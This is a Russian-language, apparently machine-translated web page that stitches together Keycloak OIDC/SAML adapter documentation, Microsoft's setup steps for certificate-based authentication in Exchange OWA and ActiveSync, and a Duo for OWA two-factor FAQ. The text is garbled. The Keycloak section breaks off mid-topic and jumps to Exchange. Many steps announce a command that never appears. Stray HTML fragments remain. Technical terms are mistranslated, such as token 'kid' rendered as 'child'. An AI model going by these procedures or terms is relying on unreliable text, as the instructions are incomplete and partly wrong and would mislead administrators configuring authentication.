Ключ заголовка, как установить ecp

Обновлено: 28.06.2024

Keycloak поддерживает как OpenID Connect (расширение OAuth 2.0), так и SAML 2.0. При обеспечении безопасности клиентов и услуг первое, что вам нужно решить, это то, какой из двух вы собираетесь использовать. При желании вы также можете защитить одни с помощью OpenID Connect, а другие с помощью SAML.

Для защиты клиентов и служб вам также понадобится адаптер или библиотека для выбранного вами протокола. Keycloak поставляется с собственными адаптерами для выбранных платформ, но также можно использовать общие библиотеки OpenID Connect Relying Party и SAML Service Provider.

1.1. Что такое клиентские адаптеры?

Клиентские адаптеры Keycloak — это библиотеки, которые упрощают защиту приложений и служб с помощью Keycloak. Мы называем их адаптерами, а не библиотеками, поскольку они обеспечивают тесную интеграцию с базовой платформой и фреймворком. Это упрощает использование наших адаптеров и требует меньше стандартного кода, чем обычно требуется для библиотеки.

1.2. Поддерживаемые платформы

1.2.1. Подключить OpenID

JavaScript (на стороне клиента)
Node.js (на стороне сервера)
Питон
Андроид

1.2.2. SAML

1.3. Поддерживаемые протоколы

1.3.1. Подключить OpenID

OpenID Connect (OIDC) — это протокол аутентификации, являющийся расширением OAuth 2.0. В то время как OAuth 2.0 — это только платформа для создания протоколов авторизации и в основном неполная, OIDC — это полноценный протокол аутентификации и авторизации. OIDC также широко использует набор стандартов Json Web Token (JWT). Эти стандарты определяют формат маркера удостоверения JSON и способы цифровой подписи и шифрования этих данных компактным и удобным для Интернета способом.

На самом деле существует два типа вариантов использования OIDC. Первое — это приложение, которое запрашивает у сервера Keycloak аутентификацию пользователя. После успешного входа приложение получит токен идентификации и токен доступа. Идентификационный токен содержит информацию о пользователе, такую ​​как имя пользователя, адрес электронной почты и другую информацию профиля. токен доступа имеет цифровую подпись области и содержит информацию о доступе (например, сопоставления ролей пользователей), которую приложение может использовать для определения того, к каким ресурсам пользователю разрешен доступ в приложении.

Второй тип вариантов использования — это клиент, который хочет получить доступ к удаленным службам. В этом случае клиент просит Keycloak получить маркер доступа, который он может использовать для вызова других удаленных служб от имени пользователя. Keycloak аутентифицирует пользователя, а затем запрашивает у пользователя согласие на предоставление доступа клиенту, запрашивающему его. Затем клиент получает токен доступа. Этот токен доступа имеет цифровую подпись области. Клиент может выполнять вызовы REST для удаленных служб, используя этот токен доступа. Служба REST извлекает токен доступа, проверяет подпись токена, а затем на основе информации о доступе в токене решает, следует ли обрабатывать запрос.

1.3.2. SAML 2.0

SAML 2.0 — это спецификация, аналогичная OIDC, но намного более старая и зрелая. Он уходит своими корнями в SOAP и множество спецификаций WS-*, поэтому он имеет тенденцию быть немного более подробным, чем OIDC. SAML 2.0 — это прежде всего протокол проверки подлинности, который работает путем обмена XML-документами между сервером проверки подлинности и приложением. XML-подписи и шифрование используются для проверки запросов и ответов.

В Keycloak SAML обслуживает два типа вариантов использования: приложения браузера и вызовы REST.

Существует два варианта использования SAML. Первое — это приложение, которое запрашивает у сервера Keycloak аутентификацию пользователя. После успешного входа в систему приложение получит XML-документ, содержащий нечто, называемое утверждением SAML, в котором указаны различные атрибуты пользователя. Этот XML-документ имеет цифровую подпись области и содержит информацию о доступе (например, сопоставления ролей пользователей), которую приложение может использовать для определения того, к каким ресурсам пользователю разрешен доступ в приложении.

Второй тип вариантов использования — это клиент, который хочет получить доступ к удаленным службам. В этом случае клиент просит Keycloak получить утверждение SAML, которое он может использовать для вызова других удаленных служб от имени пользователя.

1.3.3. OpenID Connect и SAML

Выбор между OpenID Connect и SAML заключается не только в использовании более нового протокола (OIDC) вместо старого, более зрелого протокола (SAML).

В большинстве случаев Keycloak рекомендует использовать OIDC.

SAML, как правило, немного более подробный, чем OIDC.

Помимо подробностей обмениваемых данных, если вы сравните спецификации, то обнаружите, что ODC был разработан для работы с Интернетом, а SAML был модифицирован для работы поверх Интернета.Например, OIDC также больше подходит для приложений HTML5/JavaScript, поскольку его проще реализовать на стороне клиента, чем SAML. Поскольку токены имеют формат JSON, их легче использовать с помощью JavaScript. Вы также найдете несколько полезных функций, упрощающих реализацию безопасности в ваших веб-приложениях. Например, взгляните на трюк с iframe, который используется в спецификации, чтобы легко определить, вошел ли пользователь в систему или нет.

Однако у SAML есть свои применения. По мере того, как вы видите, как развиваются спецификации OIDC, вы видите, что они реализуют все больше и больше функций, которые SAML имел в течение многих лет. Мы часто видим, что люди выбирают SAML, а не OIDC, потому что считают его более зрелым, а также потому, что у них уже есть существующие приложения, защищенные с его помощью.

2. Подключить OpenID

В этом разделе описывается, как вы можете защитить приложения и службы с помощью OpenID Connect, используя либо адаптеры Keycloak, либо общие библиотеки OpenID Connect Relying Party.

2.1. Адаптеры Java

Keycloak поставляется с рядом различных адаптеров для приложений Java. Выбор правильного адаптера зависит от целевой платформы.

Все адаптеры Java имеют набор общих параметров конфигурации, описанных в главе "Конфигурация адаптеров Java".

2.1.1. Конфигурация адаптера Java

Каждый адаптер Java, поддерживаемый Keycloak, можно настроить с помощью простого файла JSON. Вот как это может выглядеть:

Вы можете использовать вложение $ для замены системных свойств. Например, $ будет заменен на /path/to/Keycloak. Замена переменных среды также поддерживается с помощью префикса env, например. $ .

Исходный файл конфигурации можно получить в консоли администратора. Это можно сделать, открыв консоль администратора, выбрав в меню «Клиенты» и нажав на соответствующий клиент. Когда страница для клиента открыта, перейдите на вкладку «Установка» и выберите Keycloak OIDC JSON .

Вот описание каждого параметра конфигурации:

Название области. Это ОБЯЗАТЕЛЬНО.

Идентификатор клиента приложения. Каждое приложение имеет идентификатор клиента, который используется для идентификации приложения. Это ОБЯЗАТЕЛЬНО.

Формат PEM открытого ключа области. Вы можете получить это из консоли администрирования. Это НЕОБЯЗАТЕЛЬНО, и устанавливать его не рекомендуется. Если не установлено, адаптер загрузит это из Keycloak и всегда будет повторно загружать его при необходимости (например, Keycloak меняет свои ключи). Однако, если установлен realm-public-key, адаптер никогда не будет загружать новые ключи из Keycloak, поэтому, когда Keycloak меняет свои ключи, адаптер сломается.

Конфиденциальный порт, используемый сервером Keycloak для безопасных подключений через SSL/TLS. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию: 8443.

Если установлено значение true, адаптер будет искать в маркере сопоставления ролей на уровне приложения для пользователя. Если false, сопоставления ролей пользователей будут выполняться на уровне области. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Если установлено значение true, адаптер не будет отправлять учетные данные для клиента в Keycloak. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Это включает поддержку CORS. Он будет обрабатывать предварительные запросы CORS. Он также проверит токен доступа, чтобы определить действительное происхождение. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Если CORS включен, это устанавливает значение заголовка Access-Control-Max-Age. Это НЕОБЯЗАТЕЛЬНО. Если он не установлен, этот заголовок не возвращается в ответах CORS.

Если CORS включен, это устанавливает значение заголовка Access-Control-Allow-Methods. Это должна быть строка, разделенная запятыми. Это НЕОБЯЗАТЕЛЬНО. Если он не установлен, этот заголовок не возвращается в ответах CORS.

Если CORS включен, это устанавливает значение заголовка Access-Control-Allow-Headers. Это должна быть строка, разделенная запятыми. Это НЕОБЯЗАТЕЛЬНО. Если он не установлен, этот заголовок не возвращается в ответах CORS.

Если CORS включен, это устанавливает значение заголовка Access-Control-Expose-Headers. Это должна быть строка, разделенная запятыми. Это НЕОБЯЗАТЕЛЬНО. Если он не установлен, этот заголовок не возвращается в ответах CORS.

Для служб должно быть установлено значение true. Если этот параметр включен, адаптер не будет пытаться аутентифицировать пользователей, а будет только проверять токены носителя. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Это указывает адаптеру также поддерживать обычную аутентификацию. Если этот параметр включен, необходимо также указать секрет. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Укажите учетные данные приложения. Это нотация объекта, где ключом является тип учетных данных, а значением является значение типа учетных данных. В настоящее время поддерживается пароль и jwt. Это ОБЯЗАТЕЛЬНО только для клиентов с типом доступа "Конфиденциально".

Этот параметр конфигурации определяет, сколько подключений к серверу Keycloak должно быть объединено. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — 20 .

Пароль для хранилища доверенных сертификатов. Это ОБЯЗАТЕЛЬНО, если хранилище доверенных сертификатов установлено и требует пароль.

Пароль для хранилища ключей клиента. Это ОБЯЗАТЕЛЬНО, если установлено хранилище ключей клиента.

Пароль для ключа клиента. Это ОБЯЗАТЕЛЬНО, если установлено хранилище ключей клиента.

Если значение true, адаптер будет обновлять токен при каждом запросе. Предупреждение. Если этот параметр включен, это приведет к тому, что Keycloak будет запрашивать каждый запрос к вашему приложению.

Если true, то адаптер отправит запрос на регистрацию в Keycloak. По умолчанию оно false и полезно только в том случае, если приложение кластеризовано. Подробнее см. в разделе Кластеризация приложений

Период перерегистрации адаптера в Keycloak. Полезно, когда приложение кластеризовано. Подробнее см. в разделе Кластеризация приложений

При использовании хранилища файлов cookie этот параметр задает путь к файлу cookie, используемому для хранения информации об учетной записи. Если это относительный путь, то предполагается, что приложение работает в корне контекста и интерпретируется относительно этого корня контекста. Если это абсолютный путь, то абсолютный путь используется для установки пути файла cookie. По умолчанию используются пути относительно корня контекста.

Атрибут OpenID Connect ID Token для заполнения имени UserPrincipal. Если атрибут token имеет значение null, по умолчанию используется значение sub . Возможные значения: sub , предпочитаемое_имя_пользователя , электронная почта , имя , псевдоним , заданное_имя , имя_семьи .

Идентификатор сеанса по умолчанию изменяется при успешном входе в систему на некоторых платформах, чтобы заблокировать вектор атаки безопасности. Измените значение на true, если хотите отключить это. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — false.

Количество времени в секундах, необходимое для упреждающего обновления активного токена доступа на сервере Keycloak до истечения срока его действия. Это особенно полезно, когда токен доступа отправляется другому клиенту REST, срок действия которого может истечь до того, как он будет оценен. Это значение никогда не должно превышать срок жизни токена доступа области. Это НЕОБЯЗАТЕЛЬНО. Значение по умолчанию — 0 секунд, поэтому адаптер будет обновлять токен доступа, только если срок его действия истек.

Количество времени в секундах, указывающее минимальный интервал между двумя запросами к Keycloak для получения новых открытых ключей. По умолчанию это 10 секунд. Адаптер всегда будет пытаться загрузить новый открытый ключ, когда распознает токен с неизвестным ребенком. Однако он не будет пытаться это делать чаще, чем раз в 10 секунд (по умолчанию). Это делается для того, чтобы избежать DoS-атак, когда злоумышленник отправляет много токенов, а плохой ребенок заставляет адаптер отправлять много запросов в Keycloak.

Количество времени в секундах, указывающее максимальный интервал между двумя запросами к Keycloak для получения новых открытых ключей. По умолчанию это 86400 секунд (1 день). Адаптер всегда будет пытаться загрузить новый открытый ключ, когда распознает токен с неизвестным ребенком. Если он распознает токен с известным ребенком, он просто будет использовать открытый ключ, загруженный ранее. Однако по крайней мере один раз в течение этого настроенного интервала (по умолчанию 1 день) будет всегда загружаться новый открытый ключ, даже если дочерний элемент токена уже известен.

По умолчанию установлено значение false . Если установлено значение true, обработка параметра запроса access_token для обработки токена носителя будет отключена. Пользователи не смогут пройти аутентификацию, если они передают только access_token

При необходимости укажите правило перезаписи URI перенаправления. Это нотация объекта, где ключом является регулярное выражение, с которым должен сопоставляться URI перенаправления, а значением является замещающая строка. Символ $ можно использовать для обратных ссылок в замещающей строке.

Если установлено значение true , то во время аутентификации с токеном-носителем адаптер проверит, содержит ли токен это имя клиента (ресурс) в качестве аудитории. Эта опция особенно полезна для служб, которые в основном обслуживают запросы, аутентифицированные маркером носителя. По умолчанию установлено значение false, однако для повышения безопасности рекомендуется включить это. Дополнительные сведения о поддержке аудитории см. в разделе Поддержка аудитории.

2.1.2. Адаптер JBoss EAP/WildFly

Чтобы защитить приложения WAR, развернутые в JBoss EAP, WildFly или JBoss AS, необходимо установить и настроить подсистему адаптера Keycloak. После этого у вас есть два варианта защиты ваших WAR.

Вы можете предоставить файл конфигурации адаптера в WAR и изменить метод аутентификации на KEYCLOAK в файле web.xml.

В качестве альтернативы вам вообще не нужно изменять свой WAR, и вы можете защитить его с помощью конфигурации подсистемы адаптера Keycloak в файле конфигурации, таком как standalone.xml . Оба метода описаны в этом разделе.

Установка адаптера

Адаптеры доступны в виде отдельного архива в зависимости от используемой версии сервера.

Аутентификация на основе сертификатов (CBA) в Exchange позволяет Outlook в Интернете (ранее известному как Outlook Web App) и клиентам Exchange ActiveSync проходить аутентификацию с помощью клиентских сертификатов вместо ввода имени пользователя и пароля.

Перед настройкой Exchange необходимо выдать сертификат клиента каждому пользователю. Из-за большого количества задействованных сертификатов для выпуска клиентских сертификатов и управления ими следует использовать автоматизированную внутреннюю инфраструктуру открытых ключей (PKI). Примером автоматизированной внутренней PKI являются службы сертификатов Active Directory (AD CS). Дополнительные сведения об AD CS см. в разделе Обзор служб сертификатов Active Directory. Вот дополнительная информация о требованиях к сертификату:

Для проверки подлинности клиента должен быть выпущен сертификат клиента (например, шаблон сертификата пользователя по умолчанию в AD CS).

Сертификат клиента должен содержать основное имя пользователя (UPN) пользователя (в полях "Субъект" или "Альтернативное имя субъекта").

Сертификат клиента должен быть связан с учетной записью пользователя в Active Directory.

Все серверы и устройства, участвующие в доступе к Outlook в Интернете и ActiveSync (включая прокси-серверы и клиентские устройства), должны доверять всей цепочке доверия для клиентских сертификатов (корневой сертификат центра сертификации и любой промежуточный сертификат). ЦС, которые использовались для выпуска сертификатов).

Для CBA в Outlook в Интернете сертификат клиента необходимо установить на локальный компьютер, устройство или смарт-карту. Для CBA в ActiveSync сертификат клиента должен быть установлен на локальном устройстве. Вы можете автоматизировать установку сертификатов на устройства с помощью решения для управления мобильными устройствами (MDM), такого как Intune. Дополнительные сведения об Intune см. в статье Обзор Microsoft Intune.

Что нужно знать, прежде чем начать?

Приблизительное время выполнения этой задачи: 20 минут

Для выполнения этой процедуры или процедур вам необходимы соответствующие разрешения. Чтобы узнать, какие разрешения вам нужны, см. запись «Диспетчер IIS» в разделе разрешений Outlook в Интернете раздела «Разрешения для клиентов и мобильных устройств».

Чтобы узнать, как открыть командную консоль Exchange в локальной организации Exchange, см. статью Открытие командной консоли Exchange.

Информацию о сочетаниях клавиш, которые могут применяться к процедурам в этом разделе, см. в разделе Сочетания клавиш в центре администрирования Exchange.

Возникли проблемы? Обратитесь за помощью на форумах Exchange. Посетите форумы по адресу: Exchange Server, Exchange Online или Exchange Online Protection.

Шаг 1. Используйте командную консоль Exchange для установки функции проверки подлинности с сопоставлением сертификатов клиентов на всех ваших серверах Exchange

Все серверы Exchange с одним и тем же пространством имен и URL-адресами должны использовать одни и те же методы проверки подлинности. Вам необходимо установить функцию проверки подлинности с сопоставлением сертификатов клиентов на всех ваших серверах Exchange.

В командной консоли Exchange выполните следующую команду:

Для получения подробной информации о синтаксисе и параметрах см. Install-WindowsFeature.

Шаг 2. Используйте диспетчер IIS, чтобы включить проверку подлинности сертификата клиента Active Directory для сервера Exchange

Откройте диспетчер IIS на сервере Exchange. Простой способ сделать это в Windows Server 2012 или более поздней версии — нажать клавишу Windows + Q, ввести inetmgr и выбрать в результатах Диспетчер информационных служб Интернета (IIS).

Выберите сервер и убедитесь, что в нижней части страницы выбран режим просмотра функций.

В разделе IIS дважды щелкните Аутентификация.

На открывшейся странице "Аутентификация" выберите из списка "Аутентификация сертификата клиента Active Directory" и на панели "Действия" нажмите "Включить".

 Страница аутентификации сервера в IIS.

Вы увидите предупреждение о том, что для использования сопоставления клиентских сертификатов Active Directory необходимо включить SSL.

Шаг 3. С помощью диспетчера IIS настройте Outlook в Интернете, центр администрирования Exchange и виртуальные каталоги ActiveSync для требования клиентских сертификатов

Примечание. Необходимо требовать клиентские сертификаты, поскольку принятие клиентских сертификатов (для поддержки как CBA, так и обычной аутентификации по имени пользователя и паролю) не работает согласованно для всех типов. устройств ActiveSync.

В диспетчере IIS разверните сервер, разверните Сайты, а затем разверните Веб-сайт по умолчанию.

Выберите виртуальный каталог owa и убедитесь, что в нижней части страницы выбрано представление функций.

В разделе IIS дважды щелкните Параметры SSL.

На странице "Настройки SSL" убедитесь, что установлен флажок "Требовать SSL", и выберите значение "Требовать клиентские сертификаты".

На панели "Действия" нажмите "Применить".

 В IIS в настройках SSL виртуального каталога выберите «Требовать» в разделе «Клиентские сертификаты». /><br /></p>
<p>Выберите виртуальный каталог Microsoft-Server-ActiveSync.</p>
<p>В разделе IIS дважды щелкните Параметры SSL.</p>
<p>На странице

На панели "Действия" нажмите "Применить".

Чтобы выполнить эти процедуры в командной строке, откройте командную строку с повышенными привилегиями на сервере Exchange (окно командной строки, которое вы открываете, выбрав «Запуск от имени администратора»), и выполните следующие команды:

Шаг 4. Используйте командную консоль Exchange для отключения других методов проверки подлинности в Outlook в Интернете, центре администрирования Exchange и виртуальных каталогах ActiveSync

После того как для проверки подлинности потребуются клиентские сертификаты, необходимо отключить все другие методы проверки подлинности в Outlook в Интернете, центре администрирования Exchange (EAC) и виртуальных каталогах ActiveSync. По умолчанию включены только обычная проверка подлинности и проверка подлинности с помощью форм.

В командной консоли Exchange замените на имя своего сервера Exchange и выполните следующую команду, чтобы отключить все другие методы проверки подлинности в виртуальном каталоге Outlook в Интернете:

Подробную информацию о синтаксисе и параметрах см. в разделе Set-OwaVirtualDirectory.

В командной консоли Exchange замените на имя вашего сервера Exchange и выполните следующую команду, чтобы отключить все другие методы проверки подлинности в виртуальном каталоге EAC:

Для получения подробной информации о синтаксисе и параметрах см. Set-EcpVirtualDirectory.

Замените на имя вашего сервера Exchange и выполните следующую команду, чтобы отключить все другие методы аутентификации в виртуальном каталоге ActiveSync:

Подробную информацию о синтаксисе и параметрах см. в разделе Set-ActiveSyncVirtualDirectory.

Шаг 5. Используйте диспетчер IIS, чтобы включить сопоставление клиентских сертификатов для Outlook в Интернете, центра администрирования Exchange и виртуальных каталогов ActiveSync

После выполнения этого шага запуск командлета Set-ActiveSyncVirtualDirectory может отключить сопоставление клиентских сертификатов для ActiveSync.

В диспетчере IIS разверните сервер, разверните Сайты, а затем разверните Веб-сайт по умолчанию.

Выберите виртуальный каталог owa и убедитесь, что в нижней части страницы выбрано представление функций.

В разделе «Управление» дважды нажмите «Редактор конфигурации».

На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к system.webServer > безопасность > аутентификация > clientCertificateMappingAuthentication.

 Выберите clientCertificateMappingAuthentication в Configuration Manager в IIS для виртуального каталога owa». /><br /></p>
<p>Установите для параметра «Включено» значение «Истина» и на панели «Действия» нажмите «Применить».</p>
<p>Выберите виртуальный каталог ecp.</p>
<p>В разделе «Управление» дважды нажмите «Редактор конфигурации».</p>
<p>На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к system.webServer > безопасность > аутентификация > clientCertificateMappingAuthentication.</p>
<p>Установите для параметра «Включено» значение «Истина» и на панели «Действия» нажмите «Применить».</p>
<p>Выберите виртуальный каталог Microsoft-Server-ActiveSync.</p>
<p>В разделе «Управление» дважды нажмите «Редактор конфигурации».</p>
<p>На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к system.webServer > безопасность > аутентификация > clientCertificateMappingAuthentication.</p>
<p>Установите для параметра «Включено» значение «Истина» и на панели «Действия» нажмите «Применить».</p>
<p>Примечание. Чтобы выполнить эти процедуры в командной строке, откройте командную строку с повышенными привилегиями на сервере Exchange и выполните следующие команды:</p>
<h2>Шаг 6 (необязательно): добавьте корневой сертификат стороннего центра сертификации в хранилище Enterprise NTAuth в Active Directory</h2>
<p>Этот шаг необходимо выполнить только в том случае, если вы не используете AD CS для выдачи клиентских сертификатов. Этот параметр указывает, что центру сертификации (ЦС) доверяют выдавать клиентские сертификаты для проверки подлинности Active Directory.</p>
<p>Экспортируйте корневой сертификат центра сертификации в CER-файл X.509 с кодировкой Base-64 или двоичным кодом DER. В этом примере мы будем использовать C:\Data\CARoot.cer.</p>
<p>На любом членском сервере домена (например, контроллере домена или сервере Exchange) откройте командную строку с повышенными привилегиями и выполните следующую команду:</p>
<p>Обратите внимание, что для этого шага требуется членство в группе администраторов предприятия.</p>
<h2>Шаг 7 (необязательно). Используйте диспетчер IIS, чтобы увеличить значение UploadReadAheadSize для Outlook в Интернете и виртуальных каталогов ActiveSync</h2>
<p>Если ваши клиенты получают ошибки, вам может потребоваться увеличить значения uploadReadAheadSize в метабазе IIS, чтобы разрешить заголовки запросов.</p>
<p>В диспетчере IIS разверните сервер, разверните Сайты, а затем разверните Веб-сайт по умолчанию.</p>
<p>Выберите виртуальный каталог owa и убедитесь, что в нижней части страницы выбрано представление функций.</p>
<p>В разделе «Управление» дважды нажмите «Редактор конфигурации».</p>
<p>На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к systemwebServer > serverRuntime.</p>
<p><img class=

 Измените значение uploadReadAheadSize в редакторе конфигурации в IIS для виртуального каталога owa». /><br /></p>
<p>Выберите виртуальный каталог ecp.</p>
<p>В разделе «Управление» дважды нажмите «Редактор конфигурации».</p>
<p>На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к systemwebServer > serverRuntime.</p>
<p>Задайте для параметра uploadReadAheadSize значение 49 152 и на панели

Выберите виртуальный каталог Microsoft-Server-ActiveSync.

В разделе «Управление» дважды нажмите «Редактор конфигурации».

На странице редактора конфигурации щелкните раскрывающийся список Раздел и перейдите к systemwebServer > serverRuntime.

Задайте для параметра uploadReadAheadSize значение 49 152 и на панели "Действия" нажмите "Применить".

Примечание. Чтобы выполнить эти процедуры в командной строке, откройте командную строку с повышенными привилегиями на сервере Exchange и выполните следующие команды:

Была ли эта страница полезной? Дайте нам знать, как мы можем сделать его лучше.

Duo добавляет двухфакторную аутентификацию при входе в OWA, а также встроенную самостоятельную регистрацию и Duo Prompt.

Какие версии Windows и Exchange поддерживает Duo для Outlook Web Access?

Duo поддерживает установку Exchange 2013 и более поздних версий на Windows Server 2012 и более поздних версиях.

Duo прекратил поддержку OWA 2010 15 февраля 2021 г. Поддержка Microsoft Exchange 2010 завершилась 13 октября 2020 г.

Duo больше не поддерживает установку каких-либо приложений Duo в неподдерживаемых операционных системах или версиях Exchange. Мы настоятельно рекомендуем вам выполнить обновление до текущих версий при поддержке Microsoft.

Могу ли я автоматически установить Duo для OWA из командной строки или PowerShell?

Введите следующую команду в PowerShell или в командной строке, чтобы автоматически установить Duo для OWA с параметрами по умолчанию (обратите внимание, что имя файла MSI изменяется в зависимости от версии):

Имена параметров, передаваемые установщику (DUO_IKEY, DUO_SKEY, DUO_HOST и т. д.), чувствительны к регистру!

Можно ли удалить Duo для OWA без вывода сообщений из командной строки или PowerShell?

Чтобы автоматически удалить Duo для входа в Windows из вашей среды, выполните следующую команду из PowerShell или командной строки с повышенными привилегиями, указав MSI-файл для текущей установленной версии Duo для OWA:

Duo стремится обеспечить, чтобы наши продукты соответствовали последним рекомендациям по безопасности. Microsoft рекомендует отключить TLS 1.0 и TLS 1.1 из-за риска потенциальных уязвимостей безопасности. Узнайте больше о позиции Microsoft в отношении TLS 1.0 и 1.1 в официальном документе Решение проблемы с TLS 1.0.

Для установки Duo также требуется компонент "Сценарии и инструмент управления IIS".

  • Пул приложений по умолчанию
  • MSExchangeECPAppPool
  • Пул приложений MSExchangeOWA

Можно ли использовать TLS v1.1 или v1.2 с Duo на Exchange 2010?

Exchange 2010 в настоящее время находится на стадии расширенной поддержки, и ее поддержка прекратится в октябре 2020 года. Рассмотрите возможность перехода вашей организации на более позднюю версию Exchange, чтобы получить улучшенную совместимость с TLS, а также многочисленные улучшения безопасности и удобства использования.

Где мне установить Duo Security, если у меня несколько серверов Microsoft Exchange?

Установите приложение OWA Duo Security на серверах Microsoft Exchange, на которых установлена ​​«роль сервера клиентского доступа» или «службы клиентского доступа». Также могут присутствовать другие роли Exchange (например, роль почтового ящика). Мы рекомендуем устанавливать Duo на самые удаленные серверы клиентского доступа.

Защищает ли Duo также веб-доступ к ECP?

Да, клиентский доступ к веб-сайту ECP также потребует аутентификации Duo. Если вы уже выполнили аутентификацию Duo при входе в свой почтовый ящик, вы не увидите дополнительного запроса Duo при доступе к настройкам ECP.

Влияет ли OWA-приложение Duo Security на процесс входа в систему для пользователей Outlook Anywhere?

Влияет ли OWA-приложение Duo Security на ActiveSync?

ActiveSync продолжает работать так же, как и до установки Duo. Приложение Duo OWA не добавляет двухфакторную аутентификацию к конечным точкам EWS и ActiveSync. Клиенты ActiveSync не увидят приглашение MFA. Мы не рекомендуем предоставлять доступ к конечной точке ActiveSync извне.

Поддерживается ли Exchange 2016?

Да, начиная с версии 1.2.0.

Поддерживается ли Exchange 2019?

Да, начиная с версии 1.3.2.

Почему Duo перестал работать после установки накопительного обновления Exchange (CU)?

Установка защиты Duo для OWA изменяет некоторые файлы конфигурации XML-приложений Exchange. Установщики Exchange 2010 и 2013 CU перезаписывают любые настройки файлов XML (подробности см. в Microsoft TechNet). Удалите и переустановите приложение Duo после завершения установки CU.

Эта проблема с перезаписью файлов конфигурации XML во время установки CU была исправлена ​​в Exchange 2016 CU 1, но снова наблюдалась в более поздних накопительных обновлениях. Поэтому мы рекомендуем всегда удалять Duo для OWA перед применением любого CU и переустанавливать Duo для OWA после успешной установки CU.

Как настроить режим отказа Duo для OWA?

Если во время установки установлен флажок Обходить аутентификацию Duo в автономном режиме, попытки аутентификации «не открываются» после успешной первичной аутентификации, если невозможно связаться со службой Duo. Если вы оставите этот параметр неотмеченным во время установки, Duo для входа в OWA «закроется при сбое», блокируя доступ к OWA, если возникнут проблемы со связью со службой Duo.

Вы можете изменить это поведение после установки с помощью параметра реестра.

Запустите редактор реестра (regedit.exe) от имени администратора и перейдите в HKLM\Software\Duo Security\DuoIis .

Создайте или обновите значение REG_DWORD FailOpen , установив для него значение 1 для "открытие при отказе" или 0 для "закрытие при отказе".

Кроме того, вы можете ввести команду reg add "HKLM\Software\Duo Security\DuoIis" /v FailOpen /t REG_DWORD /d 1 /f в PowerShell, чтобы создать или обновить значение реестра для "fail open" (заменив 0 для 1 для "неудачного закрытия").

После изменения этого параметра перезапустите сервер IIS с помощью iisreset .

Как включить ведение журнала отладки Duo?

При устранении неполадок со входом в OWA служба поддержки Duo может запросить вывод отладки из нашего приложения. Вы можете включить это с помощью нового значения реестра.

Запустите редактор реестра (regedit.exe) от имени администратора и перейдите в HKLM\Software\Duo Security\DuoIis .

Создайте или обновите значение Debug REG_DWORD, чтобы установить для него значение 1.

Кроме того, вы можете ввести команду reg add "HKLM\Software\Duo Security\DuoIis" /v Debug /t REG_DWORD /d 1 /f в PowerShell, чтобы создать или обновить значение реестра.

После изменения этого параметра перезапустите сервер IIS с помощью iisreset .

События записываются в виде записей в журнал событий "Интеграция Duo IIS" в разделе "Журналы приложений и служб" в средстве просмотра событий.

Чтобы отключить ведение журнала отладки, установите для параметра Отладка значение 0 или полностью удалите его. Выполните еще один iisreset, чтобы применить изменения.

Как изменить формат имени пользователя, отправляемого в Duo?

Duo для OWA по умолчанию отправляет sAMAccountName пользователя в Duo в качестве имени пользователя Duo. Вы можете изменить формат имени пользователя, отправляемого в Duo, на userPrincipalName (UPN), начиная с версии 1.3.2.

Чтобы это работало, OWA и ECP должны использовать проверку подлинности на основе форм (FBA). Узнайте, как включить FBA для Exchange 2010, 2013 и 2016, на Microsoft TechNet.

Если вы включите этот параметр, вы также должны изменить свойства своего приложения OWA в панели администратора Duo, чтобы изменить параметр «Нормализация имени пользователя» на «Нет», иначе Duo удалит суффикс домена из имени пользователя, отправленного из OWA в наш службы, что может привести к несовпадению пользователей или дублированию регистрации.

Выберите отправку имен пользователей userPrincipalName в Duo во время установки, установив флажок Отправить имя пользователя в Duo в формате UPN в установщике Duo.

Включение этого параметра после установки Duo требует создания нового параметра реестра.

Запустите редактор реестра (regedit.exe) от имени администратора и перейдите в HKLM\Software\Duo Security\DuoIis .

Создайте или обновите значение UseUpnUsername REG_DWORD, задав для него значение 1, чтобы включить формат имени пользователя UPN.

Кроме того, вы можете ввести команду reg add "HKLM\Software\Duo Security\DuoIis" /v UseUpnUsername /t REG_DWORD /d 1 /f в PowerShell, чтобы создать или обновить значение реестра.

Чтобы переключиться с имен пользователей UPN на sAMAccountName, измените значение UseUpnUsername с 1 на 0.

После изменения этого параметра перезапустите сервер IIS с помощью iisreset .

​Если вы установили Duo на несколько серверов Exchange, обязательно внесите одинаковые изменения в реестр на каждом сервере.

Можно ли использовать инструменты мониторинга OWA, такие как SCOM или командлет Test-OWAConnectivity, после установки Duo?

Да! Если вы используете Дуо 1.2.x и более ранних версиях сначала создайте выделенную учетную запись пользователя для мониторинга и почтовый ящик (это легко сделать с помощью сценария Exchange new-TestCasconnectivityUser.ps1 PowerShell). Затем добавьте этого отслеживающего пользователя в Duo и установите для него статус «Обход». Нет необходимости активировать устройство для пользователя мониторинга.

В Duo OWA v1.3.2 и более поздних версиях вам не нужно создавать почтовые ящики работоспособности Exchange в качестве пользователей Duo, поскольку мы автоматически обходим двухфакторную аутентификацию для них.

Почему программа установки Duo завершает работу с ошибкой «Установка Exchange Server 2010 / 2013 не обнаружена»?

Убедитесь, что вы устанавливаете Duo на сервере Exchange с ролью сервера клиентского доступа. Кроме того, обязательно запустите установочный пакет Duo MSI из командной строки с повышенными привилегиями (щелкните правой кнопкой мыши и запустите от имени администратора).

Поддерживается ли разгрузка SSL?

Приложение Duo для OWA поддерживает разгрузку SSL для Exchange 2010, 2013 и 2016, начиная с версии 1.2.0.

  • У вас должно быть решение для балансировки нагрузки с разгрузкой SSL.
  • В вашем балансировщике нагрузки должно быть настроено постоянство, чтобы гарантировать, что запросы аутентификации для пользователя направляются на один и тот же сервер.
  • Вы должны настроить свой балансировщик нагрузки, чтобы он включал заголовки X-Forwarded-Proto и X-Forwarded-For в HTTP-запросы к серверам ролей Exchange CAS. Обратитесь за инструкциями к поставщику решения для балансировки нагрузки.
